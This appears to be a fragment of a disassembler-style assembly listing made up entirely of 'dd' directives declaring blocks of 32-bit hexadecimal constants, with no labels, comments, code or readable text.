		dd 0BFF25DE5h, 33ED20FCh, 5DB424C9h, 6214DE3Fh,	6AD72A1Bh
		dd 16614BD2h, 997D6283h, 0BEC8B8E0h, 7663E3A6h,	1EF8A885h
		dd 212B8B3Bh, 95D22D0Eh, 0A25BD3F6h, 0C4BD9EA3h, 0D86B0A22h
		dd 118230E0h, 15E46C70h, 277F20A7h, 8C28A0D4h, 0DC07A939h
		dd 0C972614h, 5EA780D6h, 59F5910Eh, 80962299h, 7EDA554Ch
		dd 0C39B0F1Fh, 0FA0D4DC4h, 560ED061h, 0ACD91CD7h, 644D0898h
		dd 31471357h, 296CD6AFh, 0C022A8DAh, 0F9D5E091h, 0FD601AFFh
		dd 0F3904BCBh, 894DDC38h, 7A4657C1h, 0B52AFFB6h, 5C5F170Bh
		dd 0F5329F42h, 5BE35D30h, 0D5A4B1BCh, 0A55E8715h, 0DA0D831Fh
		dd 0BC2B60F3h, 83AEED7Dh, 0C8AA7A67h, 0A3199ED6h, 1FB4DDBh
		dd 0A627889Ah, 0A9CE1BC1h, 0F19F9410h, 36135735h, 3921D0B8h
		dd 1B2C59EEh, 0DBAED028h, 91596D63h, 0D8C7515Fh, 5109F59Ch
		dd 0BB3A6B09h, 3117DD59h, 65981593h, 3E697075h,	0C50BAB05h
		dd 104D4C8Ch, 0AB82510Dh, 28373407h, 7EC927E8h,	0E919BD33h
		dd 1162F1A6h, 3E242300h, 29FE91FEh, 2CF667BEh, 0C580CFFh
		dd 0CA4C74A0h, 2C39A282h, 0A2E15121h, 667C67E2h, 0D11A33Ch
		dd 0D0DF6767h, 0D660D1EEh, 0C4CF85B2h, 0F919B9B4h, 0D3FABD54h
		dd 0D555C04Dh, 8220282Bh, 3766D015h, 0A515821Ah, 0DCC98F4Ah
		dd 2928DCDh, 70334D73h,	48F2FB37h, 0B042F601h, 2753988Ch
		dd 8C002C6Bh, 0EE42CB4Ch, 0A8F7BF4Dh, 8F9C476Bh, 0CA0E0B88h
		dd 2131880Eh, 0A18D39E1h, 0D17C81E6h, 0E8D471E7h, 586A51DEh
		dd 9DB12FEEh, 1BC1E5ACh, 0E5D93DFDh, 5416DFABh,	0BE449497h
		dd 0E0F005ABh, 0FF0F7994h, 0E09F1404h, 7FCC78E4h, 0B73B0A06h
		dd 5CC78EA1h, 0A371BCE8h, 72944B1Fh, 682AB506h,	8CE0ABFCh
		dd 430C4885h, 2423FAF9h
		dd 7B35AA20h, 18384F77h, 0E043AEE4h, 21EAF37Fh,	0CD338691h
		dd 0E98C3AD7h, 419E42A0h, 0F0B82B3Dh, 122E946Ah, 89C9011Fh
		dd 0CCED80D1h, 0B8B01116h, 5F315869h, 8768EE6Dh, 65CE2B89h
		dd 0BFA44E66h, 0EBEBD5B3h, 0E097375h, 0DD462959h, 3D721048h
		dd 0FE913C79h, 39B51ACFh, 0A0B45A31h, 0C4EE3A69h, 61999CD4h
		dd 7D93C2EAh, 44D007FBh, 806880BCh, 6D409996h, 0E82AEFF7h
		dd 6DE21F18h, 97D2FDA7h, 54327D95h, 5DA774AAh, 85B279F6h
		dd 0D1F6E4Eh, 0F28483F4h, 5A4EE446h, 64D95D9Fh,	8697FD28h
		dd 859EF41Ch, 0CC109F06h, 6B6DF8CCh, 3DA3C53Eh,	818A64AEh
		dd 0D3591753h, 0E85352D6h, 66FC9A6Dh, 91B6545Dh, 0F074FC51h
		dd 0E2D39188h, 7FFCF664h, 0BAA1BD8Fh, 2E8C88FBh, 0CFD143D1h
		dd 0CD811A42h, 1E2E90DAh, 5B6AEDC9h, 0A0414EF0h, 4E33C69Bh
		dd 85D0775Fh, 0D1EE9173h, 62A13CC0h, 0A5055DF2h, 0EFBDA3DDh
		dd 37167B55h, 0E0F388F3h, 0D99ADFFh, 0EA51B6F2h, 122586ADh
		dd 0C20C43F8h, 0D1751BD2h, 7646B09Ah, 957EB8B5h, 10FC4608h
		dd 7F23800Eh, 2710E32Bh, 57E5CB55h, 66F6782h, 493CC323h
		dd 4CD3B92h, 1D042164h,	504E8921h, 5AB9C30Dh, 0DE3975B4h
		dd 0D0B21C18h, 1B50B0D1h, 0E8D7CB35h, 72502D9Fh, 0D601B57Eh
		dd 0AB19CEE2h, 32BD1EB4h, 20714CDAh, 0A3CDA788h, 4BB5BCBBh
		dd 0EEE610EFh, 9F9D6C52h, 4FEB96DAh, 0BE93D905h, 0E19D1D5h
		dd 3ECB2BD2h, 0ED873AA5h, 58552273h, 754B4CECh,	0BAF1B226h
		dd 6F1EA6DAh, 89599905h, 3F41649h, 243D8A76h, 0D4175C17h
		dd 0CFF02DFDh, 35D5C389h, 0A140923Dh, 74B3F4E2h, 576F4848h
		dd 7F3BAFDBh, 163EFB5h,	8270C95Fh, 0B79494C3h, 29DB4A7Ch
		dd 0D6E645EEh, 0C327713Bh, 8A36D246h, 99BBA380h, 8611EF9Ah
		dd 1561FE56h, 3628558Ah, 0E76EE775h, 0D5D69534h, 4BB56F67h
		dd 9DB3EFECh, 0DFB53D12h, 1A4A43Fh, 3905920h, 3D306BFCh
		dd 0EF84DE61h, 125AC33Bh, 0A48D1C4Ah, 0F8DD0E3Fh, 3A8E928Bh
		dd 472C4419h, 7D155CCFh, 0A0B2D763h, 69DD01CEh,	6A582A20h
		dd 0B9512B33h, 292B0B74h, 0A134C833h, 0E313D60Fh, 2C34E38Fh
		dd 6164668Eh, 40EECBAFh, 3288A586h, 9CDC03B9h, 8059E982h
		dd 0E0A5D387h, 2811AD28h, 3C05E2F9h, 0DC158A0Fh, 718955A4h
		dd 9C45E0Dh, 7753109Fh,	0AFC0FBD6h, 98A17180h, 0BC97591Eh
		dd 8508989Ah, 5C3E5D80h, 0A2CE6D08h, 0DFE67C7Ah, 4282C680h
		dd 96BCE0BEh, 0D2E39938h, 6EFF3654h, 0E3E2554Fh, 992E9AD8h
		dd 0C55F77D4h, 985BD683h, 0C19C4890h, 715D909Ch, 0D359AD88h
		dd 0C9E15312h, 0DC9E57B5h, 3F7B374h, 6C6DD44Ah,	0CC2DA988h
		dd 0BAF60B54h, 0FCD4B5C3h, 3492296Ch, 0E190BD63h, 282BE8E3h
		dd 83D91FA1h, 3551411Fh, 3243AF60h, 17659E09h, 644A082Fh
		dd 0BD36FB4Dh, 8BF3CF46h, 0F1D99399h, 6A525562h, 4FE2288Dh
		dd 717042E5h, 2C2C86A5h, 0F733D45Ch, 898D295h, 394D680Ah
		dd 8D188A5h, 6E9D3DBh, 3224C45Ah, 0E20C722Ah, 9B8E158Eh
		dd 0EB138212h, 8355B9Eh, 0A5F26248h, 694A8D69h,	614E7216h
		dd 99153B4Dh, 2BA25D75h, 93F6289Ah, 0A75B7A00h,	0E186A1EDh
		dd 0AF591159h, 31D7F650h, 2F6360E5h, 0B3E7D906h, 14A8EC82h
		dd 9FAB30Dh, 5844BDA1h,	0AD641C45h, 0EB3FE67h, 0DD84526Eh
		dd 44177CE8h, 0A7B5DD07h, 0A2C502DAh, 50FB980Bh, 5B3BC0A1h
		dd 0DC05DAEDh, 0EF9409F8h, 0BA9B335h, 0C3CBF41Bh, 2610F1EBh
		dd 912558DBh, 545DE73Dh, 2ECE1E4Fh, 0F727456Ch,	86609ADEh
		dd 3F2A5C22h, 0E22D4E2Dh, 24D1287Eh, 0AAF4243Eh, 0B85964B6h
		dd 6BDD79A6h, 5F3B628Ah, 0BDADEE82h, 28436DBCh,	0A6FBDC00h
		dd 0CBB18EF9h, 40968813h, 50C6509Fh, 0BC4D0A25h, 2C2ADB8h
		dd 517DDD8h, 5108286Eh,	1AD81A21h, 8A60A223h, 8008D2A5h
		dd 0F48C9AB1h, 472982DFh, 41FEE1FCh, 1454DC20h,	0F5E7D218h
		dd 808C503Bh, 52E098CEh, 0DD365666h, 911CF7Dh, 9AE95DD1h
		dd 0B8FE67F9h, 3E7B5A97h, 0CEBD9812h, 4C55CBCAh, 67781B52h
		dd 37FC0C68h, 78376C73h, 0C70F5B86h, 3DCCACC9h,	4561C410h
		dd 14353D4Fh, 2F25E6DAh, 528A2C6Ch, 6DB25AECh, 0BADBC9DFh
		dd 98945C6Eh, 12CA0D0Ch, 1A21D903h, 0E41A5E0Fh,	0D9D2A179h
		dd 2DF763C3h, 5DBED5F1h, 65D5C30Fh, 0F85B0E81h,	0D20469D6h
		dd 328CA0Ch, 8DDB640Eh,	0A41578CCh, 0C29753A9h,	691E4DF1h
		dd 5A0AA5EBh, 0A03ED1ABh, 0EF219E90h, 63983516h, 8644A9B8h
		dd 0B6376810h, 6E25784Ch, 1C703B2Dh, 1C66622Fh,	0B3408C4h
		dd 7027149Ah, 780724D1h, 0D57502A3h, 43922318h,	0FA21561Ah
		dd 0E2DDB8E0h, 0C964297Ah, 2395FD58h, 821F35FFh, 99EEA3A4h
		dd 901AA4FDh, 156EAA95h, 397B6E39h, 95B924B1h, 176B8D8Dh
		dd 8D4D77AEh, 0C078C712h, 0BA7A1E0Ah, 3B72F626h, 0A8A7F96Fh
		dd 0B476DD2Bh, 0B52C5DE2h, 0AB5EC723h, 0A98E9178h, 3C9ABF73h
		dd 260D8EDEh, 0DBB43BACh, 6083C87h, 0A18C60F7h,	0BC4070DCh
		dd 99C2ACECh, 5941DA9Dh, 0D32B4Ah, 0D19EC50Bh, 53ED0F2Bh
		dd 107C3218h, 66B97F2Fh, 50E9B04h, 5C1ADCF9h, 69E5D1F5h
		dd 0E70B86C7h, 3142C237h, 8C922860h, 4351177Eh,	8835E21Bh
		dd 0F2504FE0h, 9EC9744h, 33DC6EB5h, 0A13BBBEEh,	0E1272D48h
		dd 4624E2B4h, 0C692B9C2h, 0A114219Bh, 33377F5h,	10575746h
		dd 45C922E3h, 43DBCCA0h, 6B9FC25h, 40609FC9h, 3B4F05ECh
		dd 2C8FE035h, 82998644h, 820CA577h, 23008F8Ah, 656E8FD9h
		dd 0C64FFA2Bh, 0CD824E36h, 158DF0CCh, 9F2B399Dh, 0A83F06FAh
		dd 0E018E7AAh, 41C52E5h, 0E535F021h, 0AFC5C16Ch, 8BC4A6DCh
		dd 13F1E6B0h, 0A62634E8h, 8CD2CC3Ch, 47B12CA2h,	0A0C18C69h
		dd 9D091BDBh, 839662AEh, 6F4A3020h, 978E8BE2h, 5302726Dh
		dd 14A92B30h, 4847B7D2h, 0B3170F22h, 0D855CE48h, 59BD76E2h
		dd 4FAE339Eh, 0C6FE656Ah, 0A6CA439h, 6C4D5417h,	3AB6B3DAh
		dd 2A23CDAEh, 0B06B3E6Bh, 0DE40B8D5h, 0E199DEB3h, 0E582A258h
		dd 23668D45h, 3E41BCD8h, 0F67FED14h, 3709845Dh,	0AD4B7753h
		dd 53D5F910h, 21A00F48h, 5935526Ah, 0A742B05Dh,	64B2CB3h
		dd 50CA3626h, 8F1298EAh, 325F76F2h, 0D6E9CD21h,	0DF64979Ah
		dd 4322AB16h, 0E7E2913Eh, 0E5ED02BDh, 0C7D514CEh, 5897D479h
		dd 3229C303h, 0FA754237h, 726D654Dh, 2838A54Ch,	0EA3A6D37h
		dd 0E55FAAD5h, 0AFA0AE94h, 0CB020D80h, 7ED468CFh, 6E9F7E5Fh
		dd 0F55F94E3h, 0CD1ACE0Fh, 0E8FAB070h, 33BE7534h, 9A4ACEBh
		dd 4EFA99F0h, 3BCDB65Fh, 6D7793C1h, 0DC19D598h,	2AAEEC5Eh
		dd 879420E4h, 0C71FAD58h, 9363D1ECh, 0A24963A7h, 0F73BD2B1h
		dd 13361917h, 0BEC97661h, 258D2F07h, 92AA98CCh,	0EB05EB80h
		dd 0D7087AA9h, 3BCFBCD7h, 937A6C83h, 7E619F51h,	2E5A8D8h
		dd 9E6B66BAh, 0E7A31F9h, 0FE6438DBh, 0CE3832EBh, 0B3C5EB7Fh
		dd 0F250C009h, 52AE8075h, 0EF6C5ED1h, 6CA45176h, 0FD11D0E1h
		dd 0BAED0F0Eh, 73DD19BEh, 0F5C62DAh, 7F2054D4h,	0E93387FEh
		dd 4923078Eh, 94277253h, 26B0A9ADh, 0B04F9120h,	0B529B8A5h
		dd 0E1D8DACDh, 72CC8C7h, 120EFD08h, 97129680h, 19CBE68Fh
		dd 2E2CFFEDh, 20B60612h, 861191E8h, 8114D05Ah, 6D63960Eh
		dd 2F8D0D12h, 0CDFB5D8Eh, 0CA3EAF93h, 195834D0h, 40211FADh
		dd 6BF28185h, 783FA18Ah, 0DA474CDh, 90940ACCh, 0FAE9D0B3h
		dd 0FDEEDCA2h, 493FAEE1h
		dd 27BF43Ch, 97BEC1C8h,	0B439DD14h, 0DE36D9EDh,	8170BD50h
		dd 44A53517h, 0FF50F557h, 0A0ED75DCh, 55BCBD42h, 20369CAh
		dd 846B91F7h, 8BBD3159h, 0DFCDF845h, 6D559DDEh,	0B275042Eh
		dd 0D71C8ACBh, 189AF5E4h, 8AD5AACBh, 265B7D1h, 67FA3EFAh
		dd 49156CF5h, 0BB851D51h, 9F41748Ah, 0E1D0F3C0h, 0AEDBC9D2h
		dd 68BC0004h, 33B9984Ch, 0A619B9Fh, 0D4FDA2C2h,	0E733AB31h
		dd 0B26F02D4h, 0DE6BA1F9h, 81AF0EA2h, 399029E8h, 0B0B402D7h
		dd 0BA74CD66h, 17CC8086h, 2C185AD5h, 87EE1DFh, 78F24510h
		dd 0B469B0CEh, 0C5642387h, 0B5F2B58Eh, 35599408h, 2EBED87Bh
		dd 3575CDEFh, 89094BDAh, 4F93FC98h, 0A29CA944h,	8A960507h
		dd 0EA4E48E6h, 0E4C381A7h, 70791F8Bh, 94D3ECE0h, 5D676A99h
		dd 1850AF66h, 0EDA9C3F7h, 0A5996894h, 19911800h, 0B6A0CD68h
		dd 248C278Dh, 8D7D4889h, 48ABB0F3h, 2649731Ch, 61A30D53h
		dd 2C2F97DAh, 0C2800881h, 51AC5F34h, 89780BACh,	78310ACh
		dd 6330FE01h, 5FAD138Eh, 0C31D6A29h, 43ADA0E8h,	0EBF25DCCh
		dd 7A25B43Dh, 7C187AAAh, 7160FEC9h, 3CC95365h, 7556EA52h
		dd 0A05E9672h, 27710C7Ch, 4C48A841h, 0E2F44A40h, 2E894C2Fh
		dd 786C4865h, 529CDFBEh, 1E740B5Ch, 0BEECB1FBh,	8C05218Ch
		dd 3820AE6h, 0E266ECFCh, 91578024h, 0CFA409C8h,	957F8EA7h
		dd 32101CA8h, 0C22FC74Eh, 0E57BE784h, 0C9F79CB0h, 0BD473FDh
		dd 0B50A6143h, 0E21F9D90h, 0D1EED027h, 0AA897ABCh, 0D43DF8FBh
		dd 0DF73792Ah, 0F0AC2956h, 75E56B51h, 0DA4C8DA9h, 4E75AA38h
		dd 75B85C64h, 23B4E76Eh, 0E7753426h, 0EEC6D89Dh, 0EDFF4D8Ch
		dd 3B4B898Ch, 0F31E5E16h, 972D8A1Bh, 0FDC7636Ch, 0D778C706h
		dd 19387F18h, 6D548B5Ah, 5EF2D2Dh, 0A9A1DD20h, 8DB9E910h
		dd 373E4027h, 7B47C2A2h, 3BD0EE37h, 0CBFC6483h,	0F1C4A56h
		dd 0A384692Fh, 752DE7A6h, 0C7A8504Fh, 39291317h, 0ACDC18B3h
		dd 76AE0B95h, 0A76851A2h, 0F28E71B9h, 0F609EB65h, 0C229FD15h
		dd 0F4CE4CC8h, 74C261C8h, 25734163h, 2EC63E1Bh,	0E1980D0Dh
		dd 0A2797FC0h, 3C4BC4CBh, 63E946Ah, 35199B58h, 0BA90DF29h
		dd 6C3DDEE7h, 0D86ADBEFh, 0EEF8BFE4h, 1D24B993h, 3B53C4BBh
		dd 4E9CB85Ch, 69B3242h,	0BBBFF37h, 0F198D91Dh, 9D6AE358h
		dd 447CB88h, 5D3ED5FBh,	0E576B470h, 59E06A47h, 15148D6h
		dd 22B71FC7h, 1CF3A845h, 0F03BCA81h, 2E0C371Fh,	4EC1DDC6h
		dd 0EA36EE21h, 3A20D128h, 5E76AC4h, 0E929895Dh,	38E794B2h
		dd 28D74EFh, 0DCBA53CBh, 68F616E2h, 0EF80DB98h,	0DCDB1241h
		dd 0B0E82669h, 8FE218E8h, 85DBEF12h, 826C74ADh,	722699D7h
		dd 0BAF5AB39h, 0EE9F28FAh, 0E0EC4C7Ah, 35B209FFh, 6BC9D29Fh
		dd 0E2148009h, 6F60E9AEh, 79BE8607h, 0CD950C7h,	93AB7ECEh
		dd 0D9C6920Ch, 862B0FC8h, 0F0D94BA3h, 94768978h, 4ED4370h
		dd 3DC6B190h, 0FAA64D36h, 0C708DB07h, 0E1416000h, 7F09CBDAh
		dd 0BAC30EDBh, 0F8CBE7CCh, 2BE6EB7Fh, 1939DE25h, 29005B23h
		dd 2A09BEC1h, 0D3FC59EAh, 31130548h, 7B5B30DAh,	0C9F85AF6h
		dd 44E6466Dh, 0B514F6BCh, 0CC175C33h, 0BB9D7796h, 4FCE8EEh
		dd 0DC048C3Eh, 0B5F08E3Ah, 0B1D7EEC9h, 1B973F7Bh, 0DF59BB3Eh
		dd 5B92558Bh, 1EE3196Eh, 0BCBCDAB9h, 0B8A98FE1h, 0CCC1B505h
		dd 78D07808h, 0EF703314h, 51198876h, 57C5D67Dh,	0D033E82Fh
		dd 0DD9054D0h, 56FF58B9h, 4BCF1630h, 0B7BF7B50h, 0EC91FDBh
		dd 0CF3F597Bh, 474C36FBh, 0E4926FD8h, 5C286A7Fh, 0E3815373h
		dd 2153B2FFh, 1DBD382Eh, 230B6DEFh, 42DFA3FAh, 0F4E4D5F4h
		dd 730FA2B9h, 21B22FACh, 0A46C5125h, 0CF0BFE9Ah, 3A02DB57h
		dd 0E540ECA8h, 9E8022CDh, 0F0AF4A59h, 91F2C82Ah, 0C40E93BFh
		dd 0CE0DD062h, 3561F452h, 3D81F093h, 1115610Bh,	189804F8h
		dd 55DA9C13h, 0C001E442h, 4EA992DFh, 0ECFC3BDh,	0EBF8B4C6h
		dd 0D7A7CEBEh, 0D599B788h, 793151CCh, 0E9B8149Fh, 0FAB3B95Ch
		dd 0C2CA4251h, 2F486571h, 0DEF9D0Dh, 0AB5EECECh, 0F3ACDCFEh
		dd 0EA9E331Ch, 0DD8A415Eh, 748E816Ah, 0E40301Eh, 0F64BC069h
		dd 0EA1C06EFh, 1342C340h, 0E221209Dh, 0A0B1025Ah, 0BD592063h
		dd 0CF7A98DAh, 5E0845DDh, 13101EB8h, 805BA27Fh,	0F06BF69Fh
		dd 1D5D94A8h, 0E180B028h, 4E191E56h, 50A4A47Bh,	66F98884h
		dd 627D7C3Ah, 9DF4D9FCh, 0E602C44h, 0A1190D67h,	1594340Dh
		dd 0ED188AB1h, 8445D022h, 949CDB8h, 6036A3A3h, 3FE49568h
		dd 30F2301Ch, 92C5970Ch, 79CC647h, 0CB35BA0Dh, 5363AB75h
		dd 0ECB4F65Ah, 7CF7FA78h, 0E2006D8Eh, 795C49Ah,	984C7B9Dh
		dd 81B64302h, 30781644h, 0E71B940Fh, 0F8FF67AAh, 5C10730Fh
		dd 89763E2Ch, 0F454A63Fh, 0AD1D3019h, 9E5FAE40h, 3E40C94Ch
		dd 6672B3C4h, 2012580Fh, 62EBF7FFh, 172F6FF8h, 0E7C02F8h
		dd 0D5E33DA8h, 0ED32C16Eh, 4C32F97Dh, 9296DF49h, 8A976924h
		dd 54EA7CCDh, 0C1892BECh, 0B8B35AF6h, 0DC609Bh,	0BB2C555h
		dd 0E2345AD6h, 88AABCB6h, 6CCAE01Dh, 20F739BDh,	6F7F0D93h
		dd 37225FCEh, 0A5E73646h, 0DBDA8014h, 260EDE63h, 4AEB77F7h
		dd 1A9C6D3Bh, 33A14C70h, 3FF0870h, 85341596h, 6C1662E6h
		dd 75E8C738h, 0ECD50533h, 0C21B204Ch, 92B1B113h, 0B9771906h
		dd 7B61F410h, 4EA24330h, 0DE6A8980h, 4F6B097Dh,	0AE22CA51h
		dd 3CC40827h, 0E0DDFDF9h, 60DB13CFh, 0AC57085Dh, 366EBD6h
		dd 0FA3D84BFh, 5A3B8039h, 0BAA307F0h, 0D719AAAFh, 0E8D17C36h
		dd 1449981Eh, 6A376E6Fh, 11FF0A4Ch, 0D4072358h,	0CE45DC99h
		dd 0C7AB42h, 3312800Dh,	43D81081h, 1A8AC752h, 385B36C3h
		dd 0CE1EC111h, 0CEDC3E3h, 236C138Bh, 0AF8311D3h, 0D1DA72AFh
		dd 0E0FD8761h, 0AE4C307Fh, 0B95A1879h, 5D58A968h, 0D9E68E30h
		dd 0F8EC83A3h, 2E693E91h, 19A78605h, 0F7247CD7h, 9AF3D44Fh
		dd 0B426AE07h, 23835A33h, 129BF230h, 36213ECEh,	4376FC70h
		dd 247685A7h, 0ECF2974Eh, 1B946F8Dh, 6BC520BDh,	0C1291F28h
		dd 0E850D972h, 0FFDE6084h, 0EE86DD7Ch, 0C409EA4Ah, 0E502A2B0h
		dd 9449F506h, 6C9FBBB1h, 18D24416h, 0F4F9B7B9h,	1E75F23Dh
		dd 20072EF3h, 8680B496h, 813D11Bh, 4B2DF609h, 1D2B4211h
		dd 0BA7AACF9h, 0CAEE74F0h, 8DEB86E9h, 0E017A1E2h, 7496A44Ah
		dd 0C12C70D4h, 0E316C0C9h, 83E58940h, 0DD27BA24h, 780292BCh
		dd 7A7E0C69h, 0B102D32Ah, 0A8582FC8h, 1C4742BDh, 7A93EED6h
		dd 0D73A54A2h, 0FEB3979Bh, 47DE2491h, 0CF483FF0h, 657A6D2Eh
		dd 0F1E8D531h, 3EEA6943h, 5A56D672h, 2E3A8710h,	0B60A4FB2h
		dd 93E1C7A7h, 0B6AEC0F5h, 0E13FC4CEh, 0CB52C226h, 6F8A1DB5h
		dd 40223910h, 8325A588h, 8B2655F3h, 5C2E0A7Eh, 773C5076h
		dd 8DB34A13h, 0E191277Dh, 0F3B8F28Dh, 6564B2B7h, 0A4EE46AAh
		dd 0B46C677Ch, 122DCC89h, 5EF70E73h, 3D04D919h,	0CDCB875Fh
		dd 16CA80E8h, 0CA126B22h, 587A587Fh, 9AECB06Dh,	14BAAFDCh
		dd 2F5B27F8h, 0A46DDC0Eh, 5A3D4431h, 0C90AC2A0h, 38CAEA5h
		dd 8C0A70FEh, 3473BCD9h, 36D6532Bh, 0E2DFC639h,	0A912EEF2h
		dd 9C6CB23Fh, 0EF49488Bh, 0B1E629D1h, 41F12202h, 630A32E7h
		dd 0D1BFB207h, 52F9AEA3h, 0CE7A67D3h, 0D7CF99D3h, 0FA66B6E2h
		dd 2644A335h, 5181384Eh, 0E7D61F1Fh, 0BCDB8A7Ah, 0B5F59B22h
		dd 7B12617h, 918E2689h,	0B70D203Eh, 0FE3EA2A2h,	0ACC098B4h
		dd 21E11FE7h, 0D5CED220h
		dd 6B059C5Bh, 774D0866h, 62175310h, 0F7F0BA13h,	24A513Fh
		dd 650E4D3Ch, 2C9D5678h, 0C76133DEh, 0FF39835Bh, 6063489Bh
		dd 1A969146h, 0B28678CBh, 3ED5187h, 0E6F10692h,	0D3AB540Dh
		dd 0EFFC9083h, 65B4FACCh, 6A103836h, 0EA07ACC2h, 0CD80EB19h
		dd 376307BAh, 0D98AEA10h, 2CE47FC8h, 3E3E0722h,	3356E9A1h
		dd 0FD7543Dh, 5B232D64h, 2FD542C1h, 479EE5C4h, 0EE63D890h
		dd 48238F0Fh, 0FFA01FEDh, 87C58895h, 833CA889h,	0F3979A2Eh
		dd 0F8346F2Fh, 74B363F5h, 0D47D082Bh, 89EDCFC0h, 0DAAADDC2h
		dd 0DFFC9EDCh, 0D5FE3BC0h, 8DDF9788h, 3C20E8F3h, 0C229D0FDh
		dd 97F120D8h, 1E2D02B3h, 527EF2D7h, 0E0D43CADh,	6E4ED500h
		dd 0B3AEBB37h, 0F62C1F7Fh, 0CEFE97DCh, 34D9AAF0h, 11E43A0Ah
		dd 0ECFCC03Ch, 45F13F05h, 96808036h, 3574FA94h,	1B7D1181h
		dd 509BDD98h, 0D100EEB3h, 142E450Eh, 0A4F106C5h, 0A47EDC1Eh
		dd 0A8D58D10h, 0B15BBFA8h, 3C4628C2h, 0B8BF0AF7h, 56907690h
		dd 0A513C198h, 0ECF7A545h, 58AA6D60h, 0C554DB48h, 5F1B75AFh
		dd 551537D7h, 24E74DD9h, 4BD10982h, 0DB78DB56h,	0E63AC302h
		dd 0A3CA17F5h, 883C2FE5h, 0BE29306Fh, 2E6FDB3Dh, 3FF75239h
		dd 0BDF2936Ah, 519A5414h, 317A8501h, 703F5FDAh,	145A0179h
		dd 0F204CA75h, 71E1A823h, 9F380C81h, 0BFBE4841h, 0F4841D44h
		dd 0BEDFEFE4h, 3997B6BFh, 8A1B78DFh, 5A5C8B2Ch,	4A9D27E3h
		dd 0CFDEBCD3h, 2EF4D1F6h, 84AE4A9Dh, 0D0565699h, 31066790h
		dd 547813F0h, 900D0714h, 5E1E4805h, 0BE85684h, 1ADB188Dh
		dd 746B7738h, 0B2C9A78Dh, 0B61D82EFh, 0EB15D3B9h, 7563190h
		dd 341E4751h, 0A1DF8045h, 173BC300h, 0CD185503h, 214D8FC7h
		dd 9CDAB8EAh, 0AC764FC5h, 0F2E84CF1h, 0E47D52Ch, 5B59C6C2h
		dd 42EABC09h, 71C2A25Ah, 0DA9B3D3Fh, 88F55F32h,	9F6A9899h
		dd 0B99C3AF4h, 6BB9E697h, 3701DF99h, 0D4079C0Bh, 0D95A2600h
		dd 87956865h, 9713DBB7h, 0E3B6424Fh, 606C3B67h,	5F2CA43Eh
		dd 0EC82F9B0h, 8A35999Ch, 0C5AC36A9h, 23ACB598h, 0A993A7FCh
		dd 0A6DD3741h, 0F8791D65h, 283844C1h, 4DE84EAh,	7D2D2E8Ah
		dd 0FC315EEFh, 76C8186h, 0CDC47778h, 0FBBE337h,	8BD7904Dh
		dd 5AA2810Dh, 0CCF3932Ah, 96F87347h, 1A5A79D1h,	0F1310AD7h
		dd 6B802793h, 0DD444F9Dh, 41EB37D7h, 863A283h, 0A6D64C0Eh
		dd 683BA133h, 0A2FF7064h, 55F460EBh, 1A34F622h,	2FDE8931h
		dd 8656B3F6h, 20C86066h, 34138AE9h, 0F05AEC53h,	0E4495499h
		dd 206841E0h, 0AB5D5416h, 0EBBFA6F6h, 0B3B740E7h, 3AEAED75h
		dd 0F27A84E8h, 98285990h, 8896B35Eh, 5820A5C1h,	93DD18ACh
		dd 616AC1FDh, 155BA738h, 9C3015C8h, 243A518Bh, 46521CE1h
		dd 0D3FF82EDh, 5489D715h, 87B71438h, 0F1062616h, 15015B79h
		dd 0EB87BBFEh, 0A68DEE44h, 0E3288796h, 1F011348h, 6600A89Dh
		dd 6EB39DDAh, 0B86A62Eh, 0E0398769h, 6B77420Dh,	43C2D5A9h
		dd 0EC4FA421h, 8E9C270Fh, 1C80303Dh, 2B2EA7EDh,	0E0F19D76h
		dd 0AE32347h, 0F02FEF87h, 0F63A5377h, 0AC357202h, 0D85410A2h
		dd 0C16F20A2h, 5B348F09h, 0CF2C119Fh, 9F35F375h, 556F9F25h
		dd 7ABD327Ch, 6AB7CBBh,	5649FCC6h, 2AA0FE36h, 0F4E2FF17h
		dd 668B947Fh, 7D4606B5h, 0B9900252h, 0B168D4CDh, 5305FA03h
		dd 5832B73Dh, 74582CF6h, 4DB2C339h, 0EAB7F713h,	4811D9E0h
		dd 0E3D6E4CCh, 0A1D5F42Dh, 17CF8501h, 683736Bh,	0FE8D0543h
		dd 0ECD67D1Eh, 9BA1ACC0h, 0D053B641h, 4A348BA7h, 2B669331h
		dd 158AEB90h, 4738FEDh,	9CB5DF36h, 51D9216h, 0A311E934h
		dd 77F8A387h, 0DF80B942h, 29E55DE1h, 16A97414h,	9924F16Ch
		dd 60DF08C3h, 3A8CB2FEh, 67731A76h, 0F4B24C8Dh,	0EDB64718h
		dd 8478DCE6h, 0E9DE9C44h, 6CBDCFF8h, 0F08C12DCh, 0F55298Dh
		dd 0C3826BE3h, 0D60CDB15h, 8D78117Ch, 30E98114h, 0A77B6EC7h
		dd 79383392h, 0EF5FDFBEh, 0AE99CB5h, 4EB164C3h,	6330DB60h
		dd 316C1955h, 4FEC8E20h, 0BD0CD74h, 6A010255h, 7F8C1706h
		dd 0F3377A2h, 48CD93DFh, 0D3010708h, 70B5FB5Eh,	6166CEF5h
		dd 0DB9284CCh, 91A33694h, 5BB855E8h, 11FEE6FCh,	0A01FD131h
		dd 0EE73A7D1h, 0F737B010h, 3B7D0190h, 0A0C82A5Ch, 6D09BB8Ch
		dd 0B8F04A1Fh, 98B9AAEBh, 4AAFFA07h, 7C703FAh, 0B8839F8Fh
		dd 8712F706h, 8AF06B0Ch, 20CD5173h, 7D8D5BCEh, 0C1E44FE7h
		dd 0CD460578h, 0A4A9806Ah, 2C09F5Fh, 22B21F71h,	1E95BBEAh
		dd 39DB74E3h, 4D3F602Bh, 5B6B3F63h, 18160D31h, 0F0412F89h
		dd 527BC073h, 2D2B5A06h, 7BBBF16Eh, 0B7385189h,	0CCDEE5D0h
		dd 7C04AA9Ah, 4C7326C4h, 23831E2Ch, 0C84C9Bh, 8DEC92DCh
		dd 33966CD5h, 2253AFE4h, 0E0FF8E22h, 0B74E428Bh, 0E3D4A74h
		dd 0C3E65140h, 3AE27DD8h, 783E010Dh, 4F3F181Ch,	0E40873FAh
		dd 0B4841EC4h, 0EE8A1DD7h, 0B827B320h, 556D43BBh, 9D743B20h
		dd 3144DE8Fh, 0C3162847h, 9BFEB02Bh, 698EC718h,	0EC935E6Eh
		dd 9E136219h, 0A1AC50A6h, 5301BA05h, 33F796BEh,	0DA15945h
		dd 1EBEA65Fh, 7CC944E9h, 0E635354Bh, 0E264A32Eh, 958E452Ah
		dd 0E1005968h, 1758E278h, 89574E8Ch, 0A41CFC9Ah, 0ED524071h
		dd 0B03F9230h, 90FED1CCh, 55C089D9h, 34D1ABC9h,	0A20A4A21h
